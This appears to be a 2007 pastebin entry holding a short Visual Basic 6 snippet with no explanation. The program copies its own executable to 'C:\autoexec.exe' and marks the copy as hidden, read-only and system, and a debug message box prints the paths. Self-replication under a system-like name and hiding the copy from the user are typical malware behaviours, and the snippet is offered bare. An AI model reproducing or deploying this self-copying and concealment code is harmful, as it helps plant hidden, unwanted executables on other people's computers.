All pastes #758017 Raw Edit

Something

public text v1 · immutable
·published 2007-11-01 20:49 UTC
rendered paste body
Dim sAns As String
Dim pn As String
Dim Apppath As String
Dim blah As String
    sAns = App.Path
    If Right(App.Path, 1) <> "\" Then sAns = sAns & "\"
    Apppath = sAns
    pn = App.EXEName
    blah = Apppath & pn
FileCopy blah, "C:\autoexec.exe"
'Name "c:\" & pn As "c:\autoexec.exe" ' Rename to Autoexec.exe
SetAttr "C:\autoexec.exe", vbHidden + vbReadOnly + vbSystem
MsgBox "Blah=" & blah & " PN=" & pn & " apppath=" & Apppath